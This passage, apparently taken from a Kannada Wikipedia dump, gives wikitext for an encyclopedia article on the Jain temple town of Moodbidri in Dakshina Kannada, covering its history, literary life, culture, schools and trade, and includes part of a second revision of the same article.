ಪೂರ್ವಕ್ಕೆ ೩೬ ಕಿಲೋ ಮೀಟರುಗಳ ದೂರದಲ್ಲಿರುವ ಮೂಡುಬಿದಿರೆಯು [[ಕಾರ್ಕಳ]]-[[ಮಂಗಳೂರು]], [[ಕಾರ್ಕಳ]]-[[ಬಂಟ್ವಾಳ]] ಮತ್ತು [[ಧರ್ಮಸ್ಥಳ]]-[[ಮಂಗಳೂರು]] ರಸ್ತೆಗಳನ್ನು ಹೊಂದಿದೆ. ೧೯೯೭ರಲ್ಲಿ ಅವಿಭಜಿತ ದಕ್ಷಿಣ ಕನ್ನಡವನ್ನು ವಿಭಾಗಿಸುವ ಮುನ್ನ ಮೂಡುಬಿದಿರೆಯು ಕಾರ್ಕಳ ತಾಲೂಕಿಗೆ ಒಳಪಟ್ಟಿತ್ತು. ಮೂಡುಬಿದಿರೆಯನ್ನು ''ಜೈನಕಾಶಿ'' ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಇಲ್ಲಿ ೧೮ ದೇವಸ್ಥಾನಗಳು, ೧೮ ಜೈನ ಬಸದಿಗಳು ಮತ್ತು ೧೮ ಕೆರೆಗಳು ಇವೆ.<ref>{{Cite web |url=http://www.jaindharmonline.com/pilgri/mbidri.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2016-08-01 |archive-date=2012-05-04 |archive-url=https://web.archive.org/web/20120504193934/http://www.jaindharmonline.com/pilgri/mbidri.htm |url-status=dead }}</ref> ಇಲ್ಲಿನ ಬಸದಿಗಳಲ್ಲಿ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯು ಒಂದು ಪ್ರೇಕ್ಷಣೀಯ ಸ್ಥಳವಾಗಿದೆ.<ref>https://www.youtube.com/watch?v=uZa9lVJ6ORA</ref>. ಗುರು ಬಸದಿಯು ಜೈನರ ಪವಿತ್ರ ಗ್ರಂಥಗಳಾದ ''ಶ್ರೀಧವಳ'' ಮತ್ತು ''ಮಹಾ ಧವಳ''ಗಳ ಹಸ್ತಪ್ರತಿಗಳನ್ನು ಹೊಂದಿದ್ದು, ಆ ಕಾರಣದಿಂದ ''ಸಿದ್ಧಾಂತ ಬಸದಿ'' ಎಂದೂ ಕರೆಯಲ್ಪಡುತ್ತದೆ.<ref>https://www.youtube.com/watch?v=uZa9lVJ6ORA</ref> [[Image:Saavira Kambhada Basadi.jpg|thumb|ಮೂಡುಬಿದಿರೆ ಸಾವಿರ ಕಂಬದ ಬಸದಿ]] {{cn}} ==ಇತಿಹಾಸ== ಮೂಡುಬಿದಿರೆಯು ಹಲವು ನೂರು ವರ್ಷಗಳ ಹಿಂದೆ [[ಬಿದಿರು]] ಬೆಳೆಗೆ ಪ್ರಸಿದ್ಧವಾಗಿತ್ತು. [[ಪೂರ್ವ]]ದಿಕ್ಕಿನಲ್ಲಿ ಬಿದಿರು ಬೆಳೆಯುವ ಪಟ್ಟಣವಾದ್ದರಿಂದ ''ಮೂಡು'' (= ಪೂರ್ವ) ''ಬಿದಿರೆ'' ಎಂಬ ಹೆಸರು ಬಂತು. ಈ ಹೆಸರಿಗೂ ಮುನ್ನ ಈ ಪಟ್ಟಣವನ್ನು ''ವೇಣುಪುರ'' ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು. ''ವೇಣು'' ಅಂದರೆ ಸಂಸ್ಕೃತದಲ್ಲಿ ಬಿದಿರು ಎಂದೇ ಅರ್ಥವಿರುವುದರಿಂದ ಹಿಂದಿನ ಕಾಲದಿಂದಲೂ ಬಿದಿರು ಮತ್ತು ಈ ಪಟ್ಟಣದ ಹೆಸರು ಜೊತೆಯಾಗಿವೆ. ಇಲ್ಲಿಗೆ ಸಮೀಪದ ''ವೇಣೂರು'' ಪಟ್ಟಣವೂ ಕೂಡಾ ತನ್ನ ಹೆಸರಿನಲ್ಲಿ ಬಿದಿರಿನ ನಂಟು ಹೊಂದಿರುವುದು. ಹಿಂದೆ ಈ ಪ್ರದೇಶದಲ್ಲಿ ಬಿದಿರು ಸಮೃದ್ಧವಾಗಿ ಬೆಳೆಯಿತೆಂಬುದಕ್ಕೆ ಸಾಕ್ಷಿಯಾಗಿದೆ. ತುಳು ಭಾಷೆಯಲ್ಲಿ ಮೂಡುಬಿದಿರೆಯನ್ನು ''ಬೆದ್ರ'' ಎಂದು ಕರೆಯುವುದೂ ಕೂಡಾ ಬಿದಿರಿನ ನಂಟನ್ನು ಸೂಚಿಸುತ್ತದೆ.ಮೂಡುಬಿದಿರೆಯು ಹಿಂದೆ ಚೌಟ ಅರಸರ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟಿತ್ತು. ಇಲ್ಲಿನ [[ಅರಮನೆ| ಅರಮನೆ]]ಯಲ್ಲಿ ಇಂದಿಗೂ ಅರಸು ವಂಶಸ್ಥರು ವಾಸವಾಗಿದ್ದಾರೆ. [[ಜೈನ]] ವ್ಯಾಪಾರಿಗಳೂ ಮೂಡುಬಿದಿರೆಯಲ್ಲಿ ಸಾಕಷ್ಟಿದ್ದು, ದೇಶ ವಿದೇಶಗಳಲ್ಲಿ ವ್ಯಾಪಾರೀ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದ್ದರು. ಇಲ್ಲಿನ ಜೈನ [[ವ್ಯಾಪಾರಿ]]ಗಳು ಸೇರಿ ಕಟ್ಟಿದ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯು ಅತ್ಯಾಕರ್ಷಕ ವಾಸ್ತು ಕೃತಿ. [[File:Deremma-Setty-Basadi-Moodbidri.JPG|thumb|ದೇರೆಮ್ಮ ಸೆಟ್ಟಿ ಬಸದಿ]] == ಸಾಹಿತ್ಯ == [[File:Eratuvare-Dweepa-Wall-Painting-In-Jain-Basadi-Moodbidri.JPG|thumb|ಜೈನ ಬಸದಿ]] ಮಹಾಕವಿ ರತ್ನಾಕರ ವರ್ಣಿ ಮೂಡುಬಿದಿರೆಯವರು. ನಡುಗನ್ನಡದ ಪ್ರಖ್ಯಾತ ಕಾವ್ಯಗಳಲ್ಲೊಂದಾದ '''ಭರತೇಶ ವೈಭವ''' ಈತ ರಚಿಸಿದ ಪ್ರಮುಖ ಕೃತಿ.<ref>http://www.wow.com/wiki/Ratnakaravarni{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಆಧುನಿಕರಲ್ಲಿ ಶಿಶುಪಾಲ ಪಾರ್ಶ್ವನಾಥ ಶಾಸ್ತ್ರಿ, ವಿದ್ವಾನ್ ಕಾಂತ ರೈ, ಸಿದ್ದಕಟ್ಟೆ ಚಂದ್ರಯ್ಯ ಶೆಟ್ಟಿ ಕೆಲವು [[ಸಾಹಿತಿಗಳು]]. ಪ್ರಚಲಿತದಲ್ಲಿ [[ಪಳಕಳ ಸೀತಾರಾಮ ಭಟ್ಟ]], ಡಾ. ನಾ ಮೊಗಸಾಲೆ, ಇರ್ಶಾದ್ ಮೂಡುಬಿದಿರೆ, [[ಜಯಪ್ರಕಾಶ ಮಾವಿನಕುಳಿ]], ಕವಿ ರಾಮಚಂದ್ರ ಪೈ ಹೆಚ್ಚಾಗಿ ಕೇಳಿ ಬರುವ ಹೆಸರುಗಳು. ಮೂಡುಬಿದಿರೆಯು ಬಹಳ ಹಿಂದಿನಿಂದಲೂ ಸಾಹಿತ್ಯಾಸಕ್ತರ ಬೀಡಾಗಿದೆ. ಇಲ್ಲಿನ ಸಮಾಜ ಮಂದಿರದಲ್ಲಿ ಊರ ಸಾಹಿತ್ಯಾಸಕ್ತರು ಸೇರಿ ಸ್ಥಾಪಿಸಿದ ಸರಸ್ವತೀ ಸಭಾ ಹಲವು ವರ್ಷಗಳವರೆಗೆ ದಸರಾ ದಿನಗಳಲ್ಲಿ ಪ್ರತಿ ದಿನವೂ ನಾಡ ಪ್ರಖ್ಯಾತ ಸಾಹಿತಿಗಳನ್ನು ಕರೆಸಿ ಏರ್ಪಡಿಸುತ್ತಿದ್ದ ಭಾಷಣಗಳನ್ನು ಊರ ಹಿರಿಯರು ಇಂದಿಗೂ ಮೆಲುಕು ಹಾಕುತ್ತಾರೆ. ಸಾರಸ್ವತ ಲೋಕದ ದಿಗ್ಗಜರೆಲ್ಲರೂ ಬಂದು ತಮ್ಮ ವಿದ್ವತ್ಪ್ರಭೆಯನ್ನು ಬೆಳಗಿ ಹೋದ ಸಮಾಜ ಮಂದಿರವು ಆ ಕಾಲದಲ್ಲಿ [[ಕನ್ನಡ]] ಪವಿತ್ರ ವೇದಿಕೆಯಾಗಿತ್ತು. ಮೂಡುಬಿದಿರೆಯ ಸಮಾಜ ಮಂದಿರದಲ್ಲಿ ಸರಸ್ವತೀ ಸಭಾದಿಂದ ಆಹ್ವಾನಿತರಾಗಿ ಭಾಷಣಗೈಯುವುದೆಂದರೆ ಹೆಮ್ಮೆಪಡುತ್ತಿದ್ದ ಕಾಲವದು. ೨೦೦೩ರಲ್ಲಿ ಕಮಲಾ ಹಂಪನಾ ಅವರ ಅಧ್ಯಕ್ಷತೆಯಲ್ಲಿ ನಡೆದ ೭೧ನೆಯ ಅಖಿಲ ಭಾರತ ಕನ್ನಡ ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನ ಇಲ್ಲಿನ ಸಾಹಿತ್ಯ ಚಟುವಟಿಕೆಗಳಿಗೆ ಮುಕುಟವಿಟ್ಟಂತಿತ್ತು.<ref>http://www.thehindu.com/thehindu/yw/2003/09/20/stories/2003092000390300.htm</ref> ಈ ಹಿಂದೆ ೧೯೮೯ರಲ್ಲಿ [[ದಕ್ಷಿಣ ಕನ್ನಡ]] [[ಜಿಲ್ಲಾ]] ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನವೂ ಇಲ್ಲಿ ವೈಭವದಿಂದ ನಡೆದಿತ್ತು. ಮೂಡುಬಿದಿರೆಯ ಉತ್ಸಾಹಿ ವೈದ್ಯ ಡಾ. ಮೋಹನ ಆಳ್ವರು ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಏರ್ಪಡಿಸುತ್ತಿರುವ ''ಆಳ್ವಾಸ್ ನುಡಿಸಿರಿ'' ಯಾವುದೇ ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನಗಳಿಗೂ ಕಡಿಮೆ ಇಲ್ಲದ ರೀತಿಯಲ್ಲಿ ಕನ್ನಡದ ಕಂಪನ್ನು ಪಸರಿಸುತ್ತಿದೆ. ಸಾಹಿತಿಗಳಿಗೂ ಸಾಹಿತ್ಯಾಸಕ್ತರಿಗೂ ಸೂಕ್ತ ವೇದಿಕೆ ಒದಗಿಸಿ ಕನ್ನಡ ಸರಸ್ವತಿಯ [[ಜಾತ್ರೆ]]ಯನ್ನು ಪ್ರತಿ ವರ್ಷ ವಿಜೃಂಭಣೆಯಿಂದ ಆಚರಿಸುತ್ತಿರುವ ನುಡಿಸಿರಿ, ವರ್ಷಗಳುರುಳಿದಂತೆ ಹೆಚ್ಚಿನ ಕಳೆ, ಪ್ರಸಿದ್ಧಿ ಪಡೆದುಕೊಳ್ಳುತ್ತಾ ಸಾಹಿತ್ಯ ವಲಯದಲ್ಲಿ ಮೂಡುಬಿದಿರೆಯ ಹೆಸರನ್ನು ಮೇಲಕ್ಕೆತ್ತುತ್ತಿದೆ. ಇತ್ತೀಚೆಗೆ ವಿದ್ಯಾರ್ಥಿ ಸಿರಿಯನ್ನು ಆಯೋಜಿಸಲಾಗುತ್ತಿದೆ. == ಸಂಸ್ಕೃತಿ == ದಕ್ಷಿಣ ಕನ್ನಡ ಜಿಲ್ಲೆಯ ಮೂಡುಬಿದಿರೆಯು [[ನಾಗಾರಾಧನೆ]], [[ಭೂತಕೋಲ|ಭೂತ ಕೋಲ]]ಗಳಂತಹ ಆಚರಣೆಗಳನ್ನೂ [[ಯಕ್ಷಗಾನ]] ಬಯಲಾಟ, ನಾಟಕಗಳನ್ನೂ, ಸಂಗೀತ, ನೃತ್ಯ ಕಲೆಗಳನ್ನೂ ಒಳಗೊಂಡಿದೆ. [[ಹಿಂದೂ]] ಧಾರ್ಮಿಕ ಹಬ್ಬಗಳಲ್ಲಿ ಸಾರ್ವಜನಿಕ ಗಣೇಶೋತ್ಸವ, ಶಾರದೋತ್ಸವ, ಮಹಾಕಾಳಿ ಮಾರಿಗುಡಿ ಜಾತ್ರೆಗಳನ್ನೂ, ಜೈನರಲ್ಲಿ ಸಾವಿರಕಂಭದ ಬಸದಿಯ ವಾರ್ಷಿಕೋತ್ಸವ, ಪದ್ಮಾವತಿ ಅಮ್ಮನವರ ಬಸದಿಯ ನವರಾತ್ರಿ ಉತ್ಸವಗಳನ್ನೂ ಮುಸ್ಲಿಮರ ಉರೂಸ್ ಮುಬಾರಕ್‍ಗಳನ್ನೂ ಕ್ರೈಸ್ತರ ಸಂತ ಮೇರಿ ಉತ್ಸವ, ಕ್ರಿಸ್‍ಮಸ್‍ಗಳನ್ನೂ ಆಚರಿಸುತ್ತಾರೆ. ಇಲ್ಲಿನ [[ಆಳ್ವಾಸ್ ಕಾಲೇಜು ಮೂಡುಬಿದಿರೆ|ಆಳ್ವಾಸ್ ಕಾಲೇಜಿನಲ್ಲಿ]] ಪ್ರತಿ ವರ್ಷ ''ಆಳ್ವಾಸ್ ವಿರಾಸತ್'' ಮತ್ತು [[ಆಳ್ವಾಸ್ ನುಡಿಸಿರಿ]] ಕಾರ್ಯಕ್ರಮಗಳು ನಡೆಯುತ್ತವೆ. ಮೂಡುಬಿದಿರೆಯ ಕಡಲಕೆರೆಯ ಬಳಿ ನಿರ್ಮಿಸಲಾದ [[ಕಂಬಳ]]ದ ಗದ್ದೆಯಲ್ಲಿ ಪ್ರತಿ ವರ್ಷ ನಡೆಯುವ ಕಂಬಳ ನಡೆಯುತ್ತದೆ. == ಶಿಕ್ಷಣ == [[File:ALVA's Institute of Engineering & Technology, Moodabidri.jpg|thumb|ಅಳ್ವಾಸ್ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]] #ಜೈನ ಪ್ರೌಢ ಶಾಲೆ ಮತ್ತು ಪದವಿಪೂರ್ವ ವಿದ್ಯಾಲಯ #ಆಳ್ವಾಸ್ ಶಿಕ್ಷಣ ಪ್ರತಿಷ್ಠಾನ<ref>http://alvas.org/</ref> #ಶ್ರೀಮಹಾವೀರ ಮಹಾವಿದ್ಯಾಲಯ #ಶ್ರೀಧವಳಾ ಮಹಾವಿದ್ಯಾಲಯ #ದಿಗಂಬರ ಜೈನ ಪ್ರಾಥಮಿಕ ಶಾಲೆ #ಬಾಬು ರಾಜೇಂದ್ರ ಪ್ರಸಾದ ಪ್ರೌಢ ಶಾಲೆ #ಹೋಲಿ ರೋಸರಿ ಪ್ರೌಢ ಶಾಲೆ #ಜ್ಯೋತಿನಗರ ಸರಕಾರಿ ಹಿರಿಯ ಪ್ರಾಥಮಿಕ ಶಾಲೆ. #ಪ್ರಾಂತ್ಯ ಹಿರಿಯ ಪ್ರಾಥಮಿಕ ಶಾಲೆ ಇವುಗಳು ಪ್ರಮುಖವಾದವು. ನಂತರದ ದಿನಗಳಲ್ಲಿ ಪ್ರಾಂತ್ಯ ಸರಕಾರಿ ಪ್ರೌಢ ಶಾಲೆ,ರೋಟರಿ ಆಂಗ್ಲ ಮಾಧ್ಯಮ ಪ್ರಾಥಮಿಕ ಮತ್ತು ಪ್ರೌಢ ಶಾಲೆ, ಸಂತ ಥಾಮಸ್‍ ಶಾಲೆ,ಕಲ್ಲಬೆಟ್ಟು ಸರಕಾರಿ ಪ್ರಾಥಮಿಕ ಶಾಲೆ ಮತ್ತಿತರವು ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದವು. ಎಂಭತ್ತರ ದಶಕದಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಸರಕಾರಿ ಸಹಕಾರ ತರಬೇತಿ ಸಂಸ್ಥೆ,ಎಸ್ ಎನ್ ಮೂಡುಬಿದಿರೆ ಪಾಲಿಟೆಕ್ನಿಕ್‍,ಎ ಜಿ ಸೋನ್ಸ್ ಕೈಗಾರಿಕಾ ತರಬೇತಿ ಸಂಸ್ಥೆ, ಎಂ ಕೆ ಅನಂತರಾಜ ದೈಹಿಕ ಶಿಕ್ಷಣ ಮಹಾವಿದ್ಯಾಲಯಗಳು ವೃತ್ತಿಪರ ಶಿಕ್ಷಣಕ್ಕೂ ಅವಕಾಶ ಕಲ್ಪಿಸಿದವು. ತೊಂಭತ್ತರ ದಶಕದಲ್ಲಿ ಸ್ಥಾಪಿತವಾಗಿ ದೇಶಾದ್ಯಂತ ಹೆಸರು ಮಾಡಿರುವ ಆಳ್ವಾಸ್ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳು ಪದವಿಪೂರ್ವ ಮತ್ತು ಪದವಿ ವಿದ್ಯಾಲಯ, ದಾದಿಯರ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆ, ಆಯುರ್ವೇದ ಮಹಾವಿದ್ಯಾಲಯ, ತಾಂತ್ರಿಕ ಶಿಕ್ಷಣ ಮಹಾವಿದ್ಯಾಲಯಗಳನ್ನೊಳಗೊಂಡಿವೆ. == ವಾಣಿಜ್ಯ == ಮೂಡುಬಿದಿರೆಯ ವ್ಯಾಪಾರಿಗಳು ದೇಶ-ವಿದೇಶಗಳ ವಿವಿಧ ಸ್ಥಳಗಳ ವ್ಯಾಪಾರಿಗಳೊಂದಿಗೆ ವ್ಯವಹಾರ ಸಂಬಂಧ ಇಟ್ಟುಕೊಂಡಿದ್ದರೆಂದು ತಿಳಿದಿದೆ. ಇದಕ್ಕೆ ಸಣ್ಣ ಉದಾಹರಣೆಯಾಗಿ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯ ಗೋಡೆಯ ಮೇಲೆ ಕೆತ್ತಲಾದ ಡ್ರಾಗನ್ ಪ್ರಾಣಿಯ ಉಬ್ಬು ಚಿತ್ರವನ್ನು ಗಮನಿಸಬಹುದು. ಆ ಕಾಲದಲ್ಲೇ ವ್ಯಾಪಾರಿಗಳು [[ಚೀನಾ|ಚೀನಾದೊಂದಿಗೆ]] ವ್ಯಾಪಾರ ಸಂಬಂಧವಿಟ್ಟುಕೊಂಡಿದ್ದರೆಂದು ಇದರಿಂದ ತಿಳಿಯುತ್ತದೆ. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಮೂಡುಬಿದಿರೆ ಮತ್ತು ಆಸುಪಾಸಿನಲ್ಲಿ [[ಗೋಡಂಬಿ]] ಉದ್ಯಮ, [[ಕೃಷಿ]], [[ಕೈಗಾರಿಕೆಗಳು]], [[ಭತ್ತ]], ಎಣ್ಣೆಯ ಗಾಣಗಳು, [[ಆಯುರ್ವೇದ|ಆಯುರ್ವೇದೀಯ]] [[ಔಷಧ]] ತಯಾರಿಕೆ ಇತ್ಯಾದಿಗಳು ಬೆಳೆದು ನಿಂತಿವೆ. ==ಉಲ್ಲೇಖ== <references/> {{commons category|Moodabidri}} [[ವರ್ಗ:ಕರ್ನಾಟಕದ ಪ್ರಮುಖ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ಕನ್ನಡ ಜಿಲ್ಲೆ]] [[ವರ್ಗ:ಮಂಗಳೂರು ತಾಲೂಕಿನ ಪ್ರವಾಸಿ ತಾಣಗಳು]] ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== http://www.moodabidri.com/ jrr74y12l0jo3kxpjn1o1a4yvnzsh2j 1116491 1116489 2022-08-23T14:29:33Z Akshitha achar 75927 wikitext text/x-wiki '''ಮೂಡುಬಿದಿರೆ''' ([[ತುಳು]]: ''ಬೆದ್ರ'' ,ಕೊಂಕಣಿ :''ಬಿದ್ರ್ಯಾಂ'') [[ದಕ್ಷಿಣ ಕನ್ನಡ]] [[ಜಿಲ್ಲೆ]]ಯ ಒಂದು ಮುಖ್ಯ ಪಟ್ಟಣ. ಮಂಗಳೂರಿನಿಂದ ಪೂರ್ವಕ್ಕೆ ೩೬ ಕಿಲೋ ಮೀಟರುಗಳ ದೂರದಲ್ಲಿರುವ ಮೂಡುಬಿದಿರೆಯು [[ಕಾರ್ಕಳ]]-[[ಮಂಗಳೂರು]], [[ಕಾರ್ಕಳ]]-[[ಬಂಟ್ವಾಳ]] ಮತ್ತು [[ಧರ್ಮಸ್ಥಳ]]-[[ಮಂಗಳೂರು]] ರಸ್ತೆಗಳನ್ನು ಹೊಂದಿದೆ. ೧೯೯೭ರಲ್ಲಿ ಅವಿಭಜಿತ ದಕ್ಷಿಣ ಕನ್ನಡವನ್ನು ವಿಭಾಗಿಸುವ ಮುನ್ನ ಮೂಡುಬಿದಿರೆಯು ಕಾರ್ಕಳ ತಾಲೂಕಿಗೆ ಒಳಪಟ್ಟಿತ್ತು. ಮೂಡುಬಿದಿರೆಯನ್ನು ''ಜೈನಕಾಶಿ'' ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಇಲ್ಲಿ ೧೮ ದೇವಸ್ಥಾನಗಳು, ೧೮ ಜೈನ ಬಸದಿಗಳು ಮತ್ತು ೧೮ ಕೆರೆಗಳು ಇವೆ.<ref>{{Cite web |url=http://www.jaindharmonline.com/pilgri/mbidri.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2016-08-01 |archive-date=2012-05-04 |archive-url=https://web.archive.org/web/20120504193934/http://www.jaindharmonline.com/pilgri/mbidri.htm |url-status=dead }}</ref> ಇಲ್ಲಿನ ಬಸದಿಗಳಲ್ಲಿ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯು ಒಂದು ಪ್ರೇಕ್ಷಣೀಯ ಸ್ಥಳವಾಗಿದೆ.<ref>https://www.youtube.com/watch?v=uZa9lVJ6ORA</ref> ಗುರು ಬಸದಿಯು ಜೈನರ ಪವಿತ್ರ ಗ್ರಂಥಗಳಾದ ''ಶ್ರೀಧವಳ'' ಮತ್ತು ''ಮಹಾ ಧವಳ''ಗಳ ಹಸ್ತಪ್ರತಿಗಳನ್ನು ಹೊಂದಿದ್ದು, ಆ ಕಾರಣದಿಂದ ''ಸಿದ್ಧಾಂತ ಬಸದಿ'' ಎಂದೂ ಕರೆಯಲ್ಪಡುತ್ತದೆ.<ref>https://www.youtube.com/watch?v=uZa9lVJ6ORA</ref> [[Image:Saavira Kambhada Basadi.jpg|thumb|ಮೂಡುಬಿದಿರೆ ಸಾವಿರ ಕಂಬದ ಬಸದಿ]] {{cn}} ==ಇತಿಹಾಸ== ಮೂಡುಬಿದಿರೆಯು ಹಲವು ನೂರು ವರ್ಷಗಳ ಹಿಂದೆ [[ಬಿದಿರು]] ಬೆಳೆಗೆ ಪ್ರಸಿದ್ಧವಾಗಿತ್ತು. [[ಪೂರ್ವ]]ದಿಕ್ಕಿನಲ್ಲಿ ಬಿದಿರು ಬೆಳೆಯುವ ಪಟ್ಟಣವಾದ್ದರಿಂದ ''ಮೂಡು'' (= ಪೂರ್ವ) ''ಬಿದಿರೆ'' ಎಂಬ ಹೆಸರು ಬಂತು. ಈ ಹೆಸರಿಗೂ ಮುನ್ನ ಈ ಪಟ್ಟಣವನ್ನು ''ವೇಣುಪುರ'' ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು. ''ವೇಣು'' ಅಂದರೆ ಸಂಸ್ಕೃತದಲ್ಲಿ ಬಿದಿರು ಎಂದೇ ಅರ್ಥವಿರುವುದರಿಂದ ಹಿಂದಿನ ಕಾಲದಿಂದಲೂ ಬಿದಿರು ಮತ್ತು ಈ ಪಟ್ಟಣದ ಹೆಸರು ಜೊತೆಯಾಗಿವೆ. ಇಲ್ಲಿಗೆ ಸಮೀಪದ ''ವೇಣೂರು'' ಪಟ್ಟಣವೂ ಕೂಡಾ ತನ್ನ ಹೆಸರಿನಲ್ಲಿ ಬಿದಿರಿನ ನಂಟು ಹೊಂದಿರುವುದು. ಹಿಂದೆ ಈ ಪ್ರದೇಶದಲ್ಲಿ ಬಿದಿರು ಸಮೃದ್ಧವಾಗಿ ಬೆಳೆಯಿತೆಂಬುದಕ್ಕೆ ಸಾಕ್ಷಿಯಾಗಿದೆ. ತುಳು ಭಾಷೆಯಲ್ಲಿ ಮೂಡುಬಿದಿರೆಯನ್ನು ''ಬೆದ್ರ'' ಎಂದು ಕರೆಯುವುದೂ ಕೂಡಾ ಬಿದಿರಿನ ನಂಟನ್ನು ಸೂಚಿಸುತ್ತದೆ.ಮೂಡುಬಿದಿರೆಯು ಹಿಂದೆ ಚೌಟ ಅರಸರ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟಿತ್ತು. ಇಲ್ಲಿನ [[ಅರಮನೆ| ಅರಮನೆ]]ಯಲ್ಲಿ ಇಂದಿಗೂ ಅರಸು ವಂಶಸ್ಥರು ವಾಸವಾಗಿದ್ದಾರೆ. [[ಜೈನ]] ವ್ಯಾಪಾರಿಗಳೂ ಮೂಡುಬಿದಿರೆಯಲ್ಲಿ ಸಾಕಷ್ಟಿದ್ದು, ದೇಶ ವಿದೇಶಗಳಲ್ಲಿ ವ್ಯಾಪಾರೀ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದ್ದರು. ಇಲ್ಲಿನ ಜೈನ [[ವ್ಯಾಪಾರಿ]]ಗಳು ಸೇರಿ ಕಟ್ಟಿದ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯು ಅತ್ಯಾಕರ್ಷಕ ವಾಸ್ತು ಕೃತಿ. [[File:Deremma-Setty-Basadi-Moodbidri.JPG|thumb|ದೇರೆಮ್ಮ ಸೆಟ್ಟಿ ಬಸದಿ]] == ಸಾಹಿತ್ಯ == [[File:Eratuvare-Dweepa-Wall-Painting-In-Jain-Basadi-Moodbidri.JPG|thumb|ಜೈನ ಬಸದಿ]] ಮಹಾಕವಿ ರತ್ನಾಕರ ವರ್ಣಿ ಮೂಡುಬಿದಿರೆಯವರು. ನಡುಗನ್ನಡದ ಪ್ರಖ್ಯಾತ ಕಾವ್ಯಗಳಲ್ಲೊಂದಾದ '''ಭರತೇಶ ವೈಭವ''' ಈತ ರಚಿಸಿದ ಪ್ರಮುಖ ಕೃತಿ.<ref>http://www.wow.com/wiki/Ratnakaravarni{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಆಧುನಿಕರಲ್ಲಿ ಶಿಶುಪಾಲ ಪಾರ್ಶ್ವನಾಥ ಶಾಸ್ತ್ರಿ, ವಿದ್ವಾನ್ ಕಾಂತ ರೈ, ಸಿದ್ದಕಟ್ಟೆ ಚಂದ್ರಯ್ಯ ಶೆಟ್ಟಿ ಕೆಲವು [[ಸಾಹಿತಿಗಳು]]. ಪ್ರಚಲಿತದಲ್ಲಿ [[ಪಳಕಳ ಸೀತಾರಾಮ ಭಟ್ಟ]], ಡಾ. ನಾ ಮೊಗಸಾಲೆ, ಇರ್ಶಾದ್ ಮೂಡುಬಿದಿರೆ, [[ಜಯಪ್ರಕಾಶ ಮಾವಿನಕುಳಿ]], ಕವಿ ರಾಮಚಂದ್ರ ಪೈ ಹೆಚ್ಚಾಗಿ ಕೇಳಿ ಬರುವ ಹೆಸರುಗಳು. ಮೂಡುಬಿದಿರೆಯು ಬಹಳ ಹಿಂದಿನಿಂದಲೂ ಸಾಹಿತ್ಯಾಸಕ್ತರ ಬೀಡಾಗಿದೆ. ಇಲ್ಲಿನ ಸಮಾಜ ಮಂದಿರದಲ್ಲಿ ಊರ ಸಾಹಿತ್ಯಾಸಕ್ತರು ಸೇರಿ ಸ್ಥಾಪಿಸಿದ ಸರಸ್ವತೀ ಸಭಾ ಹಲವು ವರ್ಷಗಳವರೆಗೆ ದಸರಾ ದಿನಗಳಲ್ಲಿ ಪ್ರತಿ ದಿನವೂ ನಾಡ ಪ್ರಖ್ಯಾತ ಸಾಹಿತಿಗಳನ್ನು ಕರೆಸಿ ಏರ್ಪಡಿಸುತ್ತಿದ್ದ ಭಾಷಣಗಳನ್ನು ಊರ ಹಿರಿಯರು ಇಂದಿಗೂ ಮೆಲುಕು ಹಾಕುತ್ತಾರೆ. ಸಾರಸ್ವತ ಲೋಕದ ದಿಗ್ಗಜರೆಲ್ಲರೂ ಬಂದು ತಮ್ಮ ವಿದ್ವತ್ಪ್ರಭೆಯನ್ನು ಬೆಳಗಿ ಹೋದ ಸಮಾಜ ಮಂದಿರವು ಆ ಕಾಲದಲ್ಲಿ [[ಕನ್ನಡ]] ಪವಿತ್ರ ವೇದಿಕೆಯಾಗಿತ್ತು. ಮೂಡುಬಿದಿರೆಯ ಸಮಾಜ ಮಂದಿರದಲ್ಲಿ ಸರಸ್ವತೀ ಸಭಾದಿಂದ ಆಹ್ವಾನಿತರಾಗಿ ಭಾಷಣಗೈಯುವುದೆಂದರೆ ಹೆಮ್ಮೆಪಡುತ್ತಿದ್ದ ಕಾಲವದು. ೨೦೦೩ರಲ್ಲಿ ಕಮಲಾ ಹಂಪನಾ ಅವರ ಅಧ್ಯಕ್ಷತೆಯಲ್ಲಿ ನಡೆದ ೭೧ನೆಯ ಅಖಿಲ ಭಾರತ ಕನ್ನಡ ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನ ಇಲ್ಲಿನ ಸಾಹಿತ್ಯ ಚಟುವಟಿಕೆಗಳಿಗೆ ಮುಕುಟವಿಟ್ಟಂತಿತ್ತು.<ref>http://www.thehindu.com/thehindu/yw/2003/09/20/stories/2003092000390300.htm</ref> ಈ ಹಿಂದೆ ೧೯೮೯ರಲ್ಲಿ [[ದಕ್ಷಿಣ ಕನ್ನಡ]] [[ಜಿಲ್ಲಾ]] ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನವೂ ಇಲ್ಲಿ ವೈಭವದಿಂದ ನಡೆದಿತ್ತು. 